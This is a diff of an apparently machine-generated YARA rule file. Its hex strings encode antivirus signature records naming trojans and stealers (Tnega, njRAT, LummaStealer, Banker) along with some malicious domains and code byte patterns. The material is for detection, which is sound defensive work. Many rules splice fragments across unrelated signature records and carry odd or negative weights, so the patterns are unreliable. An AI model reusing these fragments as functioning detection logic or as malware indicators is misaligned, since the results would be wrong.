_InfrastructureShared_8508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -85052,22 +90095,45 @@ rule _InfrastructureShared_8037{ ((#a_4c_0 & 1)*21539+(#a_33_1 & 1)*29522+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=4 } -rule _InfrastructureShared_8038{ +rule _InfrastructureShared_8509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " strings : $a_54_0 = {3a 49 6e 69 74 69 61 74 65 53 79 73 74 65 6d 53 68 75 74 64 6f 77 6e 41 21 53 68 65 6c 6c 43 6f 64 65 00 01 00 05 01 68 75 74 64 6f 01 00 05 01 68 65 6d 53 68 01 00 05 01 68 53 79 73 74 01 00 05 01 68 69 61 74 65 01 00 05 01 68 49 6e 69 74 04 00 19 } //18467 - $a_74_1 = {6f 68 65 6d 53 68 68 53 79 73 74 68 69 61 74 65 68 49 6e 69 74 00 00 04 00 78 7d 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 6e 6a 52 41 54 2e 4e 41 45 21 4d 54 42 00 02 00 24 81 01 32 36 38 66 32 32 31 30 2d 37 31 64 64 2d 34 33 37 63 2d 38 35 64 37 2d 37 62 66 32 65 62 36 32 32 64 66 30 01 00 0b 81 01 fe ff ff 04 } //26625 - $a_0f_2 = {59 06 61 01 00 08 81 01 04 05 61 1f 62 59 06 61 01 00 0b 01 fe ff ff 05 04 61 1f 2b 59 06 61 } //24835 - $a_7d_3 = {00 05 00 05 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 6e 65 67 61 2e 50 41 41 21 4d 54 42 00 02 00 23 03 55 8b ec 56 8b 75 08 ba 90 01 02 00 00 57 eb 0e 8b ca d1 e8 c1 e1 07 46 0b c8 03 cf 03 d1 0f be 3e 90 00 01 00 0a 81 01 47 72 61 79 53 74 72 69 6e 67 01 00 05 81 01 47 65 74 44 43 01 00 0e 81 01 56 69 72 74 75 61 6c 50 72 6f } //0 - $a_74_4 = {00 78 7d 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 54 6e 65 67 61 2e 53 21 4d 53 52 00 01 00 0c 01 75 64 6f 6e 74 73 61 79 2e 64 6c 6c 01 00 08 01 75 64 6f 6e 74 73 61 79 01 00 0f 00 44 6f 77 6e 6c 6f 61 64 50 61 79 6c 6f 61 64 01 00 0c } //25972 - $a_77_5 = {6c 6f 61 64 46 69 6c 65 01 00 0c 00 75 64 6f 6e 74 73 61 79 2e 70 64 62 00 00 78 7d 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 41 50 54 31 32 33 21 4d 54 42 00 01 00 09 81 01 73 6d 61 67 66 75 6c 64 65 01 00 1a 81 01 68 6f 6d 6f 6d 6f 72 70 68 6f 75 73 20 65 6e 74 65 72 6f 6b 69 6e } //17408 + $a_74_1 = {6f 68 65 6d 53 68 68 53 79 73 74 68 69 61 74 65 68 49 6e 69 74 00 00 04 00 78 7d 00 00 05 00 05 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 6e 6b 65 72 2e 4e 41 21 4d 54 42 00 03 00 2d 01 8d 8d 6c fd ff ff e8 7f 02 00 00 83 7d fc 40 75 0c 81 bd 6c fd ff ff 88 b1 d0 82 74 13 6a 00 8d 85 f8 fe ff ff 50 6a 0d e8 78 f9 ff ff } //26625 + $a_01_2 = {8b 45 0c 6b c0 0c ff b4 05 8c fd ff ff ff b5 d0 fd ff ff ff 15 00 54 40 00 8b 45 0c 6b c0 0c } //2 + $a_7d_3 = {00 05 00 05 00 04 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 53 6f 66 74 63 6e 61 70 70 2e 61 77 38 31 00 02 00 11 80 01 79 6a 79 6e 7a 2e 6b 66 6f 6c 6c 6f 77 2e 63 6f 6d 01 00 11 80 01 71 79 77 6a 69 2e 6b 66 6f 6c 6c 6f 77 2e 63 6f 6d 01 00 11 80 01 5a 68 75 44 6f 6e 67 46 61 6e 67 59 75 2e 65 78 65 01 00 0f 80 01 42 4b 50 44 46 52 65 61 64 65 72 } //0 + $a_69_4 = {00 78 7d 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 6e 6a 52 41 54 2e 4e 41 45 21 4d 54 42 00 02 00 24 81 01 32 36 38 66 32 32 31 30 2d 37 31 64 64 2d 34 33 37 63 2d 38 35 64 37 2d 37 62 66 32 65 62 36 32 32 64 66 30 01 00 0b 81 01 fe ff ff 04 03 61 1f 0f 59 06 61 01 00 08 81 01 04 05 61 1f 62 } //26926 + $a_01_5 = {00 0b 01 fe ff ff 05 04 61 1f 2b 59 06 61 00 00 78 7d 00 00 05 00 05 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 6e 65 67 61 2e 50 41 41 21 4d 54 42 00 02 00 23 03 55 8b ec 56 8b 75 08 ba 90 01 02 00 00 57 eb 0e 8b ca d1 e8 c1 e1 07 46 0b c8 03 cf 03 d1 0f be 3e } //1625 condition: - ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26625+(#a_0f_2 & 1)*24835+(#a_7d_3 & 1)*0+(#a_74_4 & 1)*25972+(#a_77_5 & 1)*17408) >=4 + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26625+(#a_01_2 & 1)*2+(#a_7d_3 & 1)*0+(#a_69_4 & 1)*26926+(#a_01_5 & 1)*1625) >=4 } -rule _InfrastructureShared_8039{ +rule _InfrastructureShared_8510{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 6e 6b 65 72 2e 4e 41 21 4d 54 42 00 03 00 2d 01 8d 8d 6c fd ff ff e8 7f 02 00 00 83 7d fc 40 75 0c 81 bd 6c fd ff ff 88 b1 d0 82 74 13 6a 00 8d 85 f8 fe ff ff 50 6a 0d e8 78 f9 ff ff } //16675 + $a_01_1 = {8b 45 0c 6b c0 0c ff b4 05 8c fd ff ff ff b5 d0 fd ff ff ff 15 00 54 40 00 8b 45 0c 6b c0 0c } //2 + condition: + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*2) >=5 + +} +rule _InfrastructureShared_8511{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 53 6f 66 74 63 6e 61 70 70 2e 61 77 38 31 00 02 00 11 80 01 79 6a 79 6e 7a 2e 6b 66 6f 6c 6c 6f 77 2e 63 6f 6d 01 00 11 80 01 71 79 77 6a 69 2e 6b 66 6f 6c 6c 6f 77 2e 63 6f 6d 01 00 11 80 01 5a 68 } //16675 + $a_6e_1 = {46 61 6e 67 59 75 2e 65 78 65 01 00 0f 80 01 42 4b 50 44 46 52 65 61 64 65 72 2e 69 6e 69 00 00 78 7d 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 6e 6a 52 41 54 2e 4e 41 45 21 4d 54 42 00 02 00 24 81 01 32 36 38 66 32 32 31 30 2d 37 31 64 64 2d 34 33 37 63 2d 38 35 64 37 2d 37 62 66 32 65 62 36 32 } //17525 + $a_30_2 = {00 0b 81 01 fe ff ff 04 03 61 1f 0f 59 06 61 01 00 08 81 01 04 05 61 1f 62 59 06 61 01 00 0b 01 fe ff ff 05 04 61 1f 2b 59 06 61 00 00 78 7d 00 00 05 00 05 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 6e 65 67 61 2e 50 41 41 21 4d 54 42 00 02 00 23 03 55 8b ec 56 8b 75 08 ba 90 } //25650 + condition: + ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*17525+(#a_30_2 & 1)*25650) >=5 + +} +rule _InfrastructureShared_8512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -85075,25 +90141,37 @@ rule _InfrastructureShared_8039{ $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 6e 6a 52 41 54 2e 4e 41 45 21 4d 54 42 00 02 00 24 81 01 32 36 38 66 32 32 31 30 2d 37 31 64 64 2d 34 33 37 63 2d 38 35 64 37 2d 37 62 66 32 65 62 36 32 32 64 66 30 01 00 0b 81 01 fe ff ff 04 } //16675 $a_0f_1 = {59 06 61 01 00 08 81 01 04 05 61 1f 62 59 06 61 01 00 0b 01 fe ff ff 05 04 61 1f 2b 59 06 61 } //24835 $a_7d_2 = {00 05 00 05 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 6e 65 67 61 2e 50 41 41 21 4d 54 42 00 02 00 23 03 55 8b ec 56 8b 75 08 ba 90 01 02 00 00 57 eb 0e 8b ca d1 e8 c1 e1 07 46 0b c8 03 cf 03 d1 0f be 3e 90 00 01 00 0a 81 01 47 72 61 79 53 74 72 69 6e 67 01 00 05 81 01 47 65 74 44 43 01 00 0e 81 01 56 69 72 74 75 61 6c 50 72 6f } //0 - $a_74_3 = {00 78 7d 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 54 6e 65 67 61 2e 53 21 4d 53 52 00 01 00 0c 01 75 64 6f 6e 74 73 61 79 2e 64 6c 6c 01 00 08 01 75 64 6f 6e 74 73 61 79 01 00 0f 00 44 6f 77 6e 6c 6f 61 64 50 61 79 6c 6f 61 64 01 00 0c } //25972 + $a_74_3 = {00 78 7d 00 00 05 00 05 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 44 6f 77 6e 6c 6f 61 64 53 70 6f 6e 73 6f 72 00 02 00 1c 80 01 61 70 69 2e 63 68 69 70 2d 73 65 63 75 72 65 64 2d 64 6f 77 6e 6c 6f 61 64 2e 64 65 01 00 0b 80 01 61 66 74 65 72 64 6c 2e 70 68 70 01 00 15 80 01 44 4d 52 5c 6f 62 } //25972 condition: ((#a_46_0 & 1)*16675+(#a_0f_1 & 1)*24835+(#a_7d_2 & 1)*0+(#a_74_3 & 1)*25972) >=5 } -rule _InfrastructureShared_8040{ +rule _InfrastructureShared_8513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 6e 65 67 61 2e 50 41 41 21 4d 54 42 00 02 00 23 03 55 8b ec 56 8b 75 08 ba 90 01 02 00 00 57 eb 0e 8b ca d1 e8 c1 e1 07 46 0b c8 03 cf 03 d1 0f be 3e 90 00 01 00 0a 81 01 47 72 61 79 53 74 72 69 6e 67 01 } //18467 - $a_01_1 = {47 65 74 44 43 01 00 0e 81 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 00 00 78 7d 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 54 6e 65 67 61 2e 53 21 4d 53 52 00 01 00 0c 01 75 64 6f 6e 74 73 61 79 2e 64 6c 6c 01 00 08 01 75 64 6f 6e 74 73 61 79 01 00 0f 00 44 6f 77 6e 6c 6f 61 64 50 61 79 6c 6f 61 64 01 00 0c 00 44 6f 77 6e } //1280 - $a_64_2 = {69 6c 65 01 00 0c 00 75 64 6f 6e 74 73 61 79 2e 70 64 62 00 00 78 7d 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 41 50 54 31 32 33 21 4d 54 42 00 01 00 09 81 01 73 6d 61 67 66 75 6c 64 65 01 00 1a 81 01 68 6f 6d 6f 6d 6f 72 70 68 6f 75 73 20 } //28524 - $a_65_3 = {6f 6b 69 6e 65 73 69 61 01 00 0b 81 01 6b 6f 6e 73 65 72 76 65 72 65 74 01 00 07 81 01 62 61 72 79 74 69 63 01 00 05 81 01 72 6f 6e 64 65 00 00 78 7d 00 00 05 00 05 00 05 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 50 6f 72 6e 54 6f 6f 6c 00 01 00 10 80 01 64 6f 77 6e 6c 6f 61 64 2e 72 65 35 38 2e 63 6e 01 00 09 80 01 64 2e 72 65 37 31 2e 63 6e 01 00 } //28261 + $a_01_1 = {47 65 74 44 43 01 00 0e 81 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 00 00 78 7d 00 00 05 00 05 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 44 6f 77 6e 6c 6f 61 64 53 70 6f 6e 73 6f 72 00 02 00 1c 80 01 61 70 69 2e 63 68 69 70 2d 73 65 63 75 72 65 64 2d 64 6f 77 6e 6c 6f 61 64 2e 64 65 01 00 0b 80 01 61 66 74 65 72 64 6c 2e 70 68 70 01 00 15 80 01 44 4d 52 5c 6f 62 6a 5c 44 65 62 } //1280 + $a_44_2 = {52 2e 70 64 62 01 00 09 80 01 67 65 6f 69 70 2e 70 68 70 00 00 78 7d 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 54 6e 65 67 61 2e 53 21 4d 53 52 00 01 00 0c 01 75 64 6f 6e 74 73 61 79 2e 64 6c 6c 01 00 08 01 75 64 6f } //26485 + $a_61_3 = {01 00 0f 00 44 6f 77 6e 6c 6f 61 64 50 61 79 6c 6f 61 64 01 00 0c 00 44 6f 77 6e 6c 6f 61 64 46 69 6c 65 01 00 0c 00 75 64 6f 6e 74 73 61 79 2e 70 64 62 00 00 78 7d 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 41 50 54 31 32 33 21 4d 54 42 00 01 00 09 81 01 73 6d 61 67 66 75 6c 64 65 01 00 1a 81 } //29806 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1280+(#a_64_2 & 1)*28524+(#a_65_3 & 1)*28261) >=5 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1280+(#a_44_2 & 1)*26485+(#a_61_3 & 1)*29806) >=5 } -rule _InfrastructureShared_8041{ +rule _InfrastructureShared_8514{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 44 6f 77 6e 6c 6f 61 64 53 70 6f 6e 73 6f 72 00 02 00 1c 80 01 61 70 69 2e 63 68 69 70 2d 73 65 63 75 72 65 64 2d 64 6f 77 6e 6c 6f 61 64 2e 64 65 01 00 0b 80 01 61 66 74 65 72 64 6c 2e 70 68 70 01 00 15 80 01 44 4d 52 5c 6f 62 6a 5c 44 } //20515 + $a_67_1 = {44 4d 52 2e 70 64 62 01 00 09 80 01 67 65 6f 69 70 2e 70 68 70 00 00 78 7d 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 54 6e 65 67 61 2e 53 21 4d 53 52 00 01 00 0c 01 75 64 6f 6e 74 73 61 79 2e 64 6c 6c 01 00 08 01 75 64 6f 6e 74 73 61 79 01 00 0f 00 44 6f 77 6e 6c 6f 61 64 50 61 79 6c 6f 61 } //25189 + $a_77_3 = {6c 6f 61 64 46 69 6c 65 01 00 0c 00 75 64 6f 6e 74 73 61 79 2e 70 64 62 00 00 78 7d 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 41 50 54 31 32 33 21 4d 54 42 00 01 00 09 81 01 73 6d 61 67 66 75 6c 64 65 01 00 1a 81 01 68 6f 6d 6f 6d 6f 72 70 68 6f 75 73 20 65 6e 74 65 72 6f 6b 69 6e } //17408 + condition: + ((#a_41_0 & 1)*20515+(#a_67_1 & 1)*25189+(#a_77_3 & 1)*17408) >=5 + +} +rule _InfrastructureShared_8515{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -85101,53 +90179,74 @@ rule _InfrastructureShared_8041{ $a_46_0 = {54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 54 6e 65 67 61 2e 53 21 4d 53 52 00 01 00 0c 01 75 64 6f 6e 74 73 61 79 2e 64 6c 6c 01 00 08 01 75 64 6f 6e 74 73 61 79 01 00 0f 00 44 6f 77 6e 6c 6f 61 64 50 61 79 6c } //16675 $a_01_1 = {00 0c 00 44 6f 77 6e 6c 6f 61 64 46 69 6c 65 01 00 0c 00 75 64 6f 6e 74 73 61 79 2e 70 64 62 00 00 78 7d 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 41 50 54 31 32 33 21 4d 54 42 00 01 00 09 81 01 73 6d 61 67 66 75 6c 64 65 01 00 1a 81 01 68 6f 6d 6f } //24943 $a_70_2 = {6f 75 73 20 65 6e 74 65 72 6f 6b 69 6e 65 73 69 61 01 00 0b 81 01 6b 6f 6e 73 65 72 76 65 72 65 74 01 00 07 81 01 62 61 72 79 74 69 63 01 00 05 81 01 72 6f 6e 64 65 00 00 78 7d 00 00 05 00 05 00 05 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 50 6f 72 6e 54 6f 6f 6c 00 01 00 10 80 01 64 6f 77 6e 6c 6f 61 64 2e 72 65 35 38 2e 63 6e 01 00 09 80 01 } //28525 - $a_65_3 = {31 2e 63 6e 01 00 0c 80 01 63 6a 2e 67 75 61 67 75 61 2e 63 6e 01 00 16 80 01 67 75 61 67 75 61 5f 64 61 6e 63 65 5f 73 65 74 75 70 2e 65 78 65 01 00 0c 80 01 47 69 72 6c 53 68 6f 77 2e 65 78 65 00 00 78 7d 00 00 06 00 06 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 77 6f 77 61 2e 43 00 02 00 20 80 01 54 4a 6c 6a 77 } //11876 - $a_77_4 = {6d 51 66 38 38 66 58 76 6b 65 69 34 44 64 72 6c 33 72 5a 69 45 33 02 00 20 80 01 4e 56 76 44 43 70 49 79 6e 4a 61 75 37 5a 68 68 6a 6c 67 76 4f 48 52 44 37 69 63 51 6f 74 33 6a 02 00 0b 80 01 49 48 74 74 70 4d 6f 64 75 6c 65 00 00 78 7d 00 00 0a 00 0a 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 69 64 61 72 2e 5a 55 21 4d 54 42 } //25945 + $a_65_3 = {31 2e 63 6e 01 00 0c 80 01 63 6a 2e 67 75 61 67 75 61 2e 63 6e 01 00 16 80 01 67 75 61 67 75 61 5f 64 61 6e 63 65 5f 73 65 74 75 70 2e 65 78 65 01 00 0c 80 01 47 69 72 6c 53 68 6f 77 2e 65 78 65 00 00 78 7d 00 00 06 00 06 00 03 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 32 35 00 02 00 11 03 2e 43 38 41 90 01 20 40 } //11876 + $a_2e_4 = {44 61 90 00 02 00 22 03 50 45 00 00 4c 01 08 90 01 11 0b 01 0e 29 00 2e 01 00 00 96 00 00 00 00 00 00 28 2e 67 00 00 10 90 00 02 00 1d 01 58 50 53 50 4c 4f 47 5f 31 00 58 50 53 50 4c 4f 47 5f 32 00 58 50 53 50 4c 4f 47 5f 33 00 00 78 7d 00 00 06 00 06 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 77 6f 77 61 2e 43 00 02 00 20 80 01 54 4a 6c 6a 77 59 65 76 77 73 6d 51 66 38 38 66 58 76 6b 65 69 34 44 64 72 6c 33 72 5a 69 45 33 02 00 20 80 01 4e 56 76 44 43 70 49 79 6e 4a 61 75 37 5a 68 68 6a 6c 67 76 4f 48 52 44 37 69 63 51 6f 74 33 6a 02 00 0b 80 } //0 condition: - ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*24943+(#a_70_2 & 1)*28525+(#a_65_3 & 1)*11876+(#a_77_4 & 1)*25945) >=5 + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*24943+(#a_70_2 & 1)*28525+(#a_65_3 & 1)*11876+(#a_2e_4 & 1)*0) >=5 } -rule _InfrastructureShared_8042{ +rule _InfrastructureShared_8516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 41 50 54 31 32 33 21 4d 54 42 00 01 00 09 81 01 73 6d 61 67 66 75 6c 64 65 01 00 1a 81 01 68 6f 6d 6f 6d 6f 72 70 68 6f 75 73 20 65 6e 74 65 72 6f 6b 69 6e 65 73 69 61 01 00 0b 81 01 6b 6f 6e 73 65 } //18467 $a_72_1 = {74 01 00 07 81 01 62 61 72 79 74 69 63 01 00 05 81 01 72 6f 6e 64 65 00 00 78 7d 00 00 05 00 05 00 05 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 50 6f 72 6e 54 6f 6f 6c 00 01 00 10 80 01 64 6f 77 6e 6c 6f 61 64 2e 72 65 35 38 2e 63 6e 01 00 09 80 01 64 2e 72 65 37 31 2e 63 6e 01 00 0c 80 01 63 6a 2e 67 75 } //30322 - $a_61_2 = {63 6e 01 00 16 80 01 67 75 61 67 75 61 5f 64 61 6e 63 65 5f 73 65 74 75 70 2e 65 78 65 01 00 0c 80 01 47 69 72 6c 53 68 6f 77 2e 65 78 65 00 00 78 7d 00 00 06 00 06 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 77 6f 77 61 2e 43 00 02 00 20 80 01 54 4a 6c 6a 77 59 65 76 77 73 6d 51 66 38 38 66 58 76 6b 65 69 34 44 64 72 6c 33 } //26465 - $a_45_3 = {02 00 20 80 01 4e 56 76 44 43 70 49 79 6e 4a 61 75 37 5a 68 68 6a 6c 67 76 4f 48 52 44 37 69 63 51 6f 74 33 6a 02 00 0b 80 01 49 48 74 74 70 4d 6f 64 75 6c 65 00 00 78 7d 00 00 0a 00 0a 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 69 64 61 72 2e 5a 55 21 4d 54 42 00 04 00 2e 03 0f be 04 31 } //23154 - $a_f8_4 = {01 01 41 3b cb 72 90 01 01 81 ff 90 01 04 74 90 01 01 8b 9d 90 01 04 42 8b b5 90 01 04 8b bd 90 01 04 e9 90 00 06 00 1f 03 33 c9 39 8d 90 01 04 76 90 01 01 8a 85 90 01 04 30 84 0d 90 01 04 41 3b 8d 90 01 04 72 90 00 00 00 78 7d 00 00 0b 00 0b 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 42 61 69 6e 78 6f 72 55 6e 69 } //-14541 + $a_61_2 = {63 6e 01 00 16 80 01 67 75 61 67 75 61 5f 64 61 6e 63 65 5f 73 65 74 75 70 2e 65 78 65 01 00 0c 80 01 47 69 72 6c 53 68 6f 77 2e 65 78 65 00 00 78 7d 00 00 06 00 06 00 03 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 32 35 00 02 00 11 03 2e 43 38 41 90 01 20 40 00 00 c0 2e 58 44 61 90 00 02 00 22 03 50 45 00 00 4c 01 08 90 01 } //26465 + $a_0e_3 = {29 } //2833 ) + $a_00_4 = {00 } //11776 condition: - ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*30322+(#a_61_2 & 1)*26465+(#a_45_3 & 1)*23154+(#a_f8_4 & 1)*-14541) >=5 + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*30322+(#a_61_2 & 1)*26465+(#a_0e_3 & 1)*2833+(#a_00_4 & 1)*11776) >=5 } -rule _InfrastructureShared_8043{ +rule _InfrastructureShared_8517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_41_0 = {42 6c 6f 63 6b 3a 50 6f 72 6e 54 6f 6f 6c 00 01 00 10 80 01 64 6f 77 6e 6c 6f 61 64 2e 72 65 35 38 2e 63 6e 01 00 09 80 01 64 2e 72 65 37 31 2e 63 6e 01 00 0c 80 01 63 6a 2e 67 75 61 67 75 61 2e 63 6e 01 00 16 80 01 67 75 61 67 75 61 5f 64 61 6e 63 65 5f } //20515 - $a_75_1 = {2e 65 78 65 01 00 0c 80 01 47 69 72 6c 53 68 6f 77 2e 65 78 65 00 00 78 7d 00 00 06 00 06 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 77 6f 77 61 2e 43 00 02 00 20 80 01 54 4a 6c 6a 77 59 65 76 77 73 6d 51 66 38 38 66 58 76 6b 65 69 34 44 64 72 6c 33 72 5a 69 45 33 02 00 20 80 01 4e 56 76 44 43 70 49 79 6e 4a 61 75 37 5a } //25971 - $a_6c_2 = {76 4f 48 52 44 37 69 63 51 6f 74 33 6a 02 00 0b 80 01 49 48 74 74 70 4d 6f 64 75 6c 65 00 00 78 7d 00 00 0a 00 0a 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 69 64 61 72 2e 5a 55 21 4d 54 42 00 04 00 2e 03 0f be 04 31 33 c7 6b f8 90 01 01 41 3b cb 72 90 01 01 81 ff 90 01 04 74 90 01 01 8b 9d } //26728 - $a_42_3 = {b5 90 01 04 } //400 - $a_01_4 = {04 e9 90 00 06 00 1f 03 33 c9 39 8d 90 01 04 76 90 01 01 8a 85 90 01 04 30 84 0d 90 01 04 41 3b 8d 90 01 04 72 90 00 00 00 78 7d 00 00 0b 00 0b 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 42 61 69 6e 78 6f 72 55 6e 69 74 00 05 00 20 03 ff 66 81 3b 4d 5a 0f 85 90 02 18 33 d2 52 50 8b 43 3c 99 03 04 24 13 54 24 04 83 c4 08 8b 90 00 02 00 09 00 ca 48 54 54 50 50 72 6f 64 02 00 0a 00 10 56 57 65 62 43 6e 74 78 74 02 00 0a 00 10 } //-17013 + $a_75_1 = {2e 65 78 65 01 00 0c 80 01 47 69 72 6c 53 68 6f 77 2e 65 78 65 00 00 78 7d 00 00 06 00 06 00 03 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 32 35 00 02 00 11 03 2e 43 38 41 90 01 20 40 00 00 c0 2e 58 44 61 90 00 02 00 22 03 50 45 00 00 4c 01 08 90 01 11 0b 01 0e 29 00 2e 01 00 00 96 00 00 00 00 00 00 28 2e 67 00 00 10 90 } //25971 + $a_50_3 = {4f 47 5f 31 00 58 50 53 50 4c 4f 47 5f 32 00 58 50 53 50 4c 4f 47 5f 33 00 00 78 7d 00 00 06 00 06 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 77 6f 77 61 2e 43 00 02 00 20 80 01 54 4a 6c 6a 77 59 65 76 77 73 6d 51 66 38 38 } //20568 + $a_6b_4 = {69 34 44 64 72 6c 33 72 5a 69 45 33 02 00 20 80 01 4e 56 76 44 43 70 49 79 6e 4a 61 75 37 5a 68 68 6a 6c 67 76 4f 48 52 44 37 69 63 51 6f 74 33 6a 02 00 0b 80 01 49 48 74 74 70 4d 6f 64 75 6c 65 00 00 78 7d 00 00 0a 00 0a 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 2e 5a 41 42 59 21 4d 54 42 00 0a 00 50 03 2b 64 06 20 } //22630 condition: - ((#a_41_0 & 1)*20515+(#a_75_1 & 1)*25971+(#a_6c_2 & 1)*26728+(#a_42_3 & 1)*400+(#a_01_4 & 1)*-17013) >=5 + ((#a_41_0 & 1)*20515+(#a_75_1 & 1)*25971+(#a_50_3 & 1)*20568+(#a_6b_4 & 1)*22630) >=5 } -rule _InfrastructureShared_8044{ +rule _InfrastructureShared_8518{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 32 35 00 02 00 11 03 2e 43 38 41 90 01 20 40 00 00 c0 2e 58 44 61 90 00 02 00 22 03 50 45 00 00 4c 01 08 90 01 11 0b 01 0e 29 00 2e 01 00 00 96 00 00 00 00 00 00 28 2e 67 00 00 10 90 00 02 00 1d 01 58 } //18467 + $a_4c_1 = {47 5f 31 00 58 50 53 50 4c 4f 47 5f 32 00 58 50 53 50 4c 4f 47 5f 33 00 00 78 7d 00 00 06 00 06 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 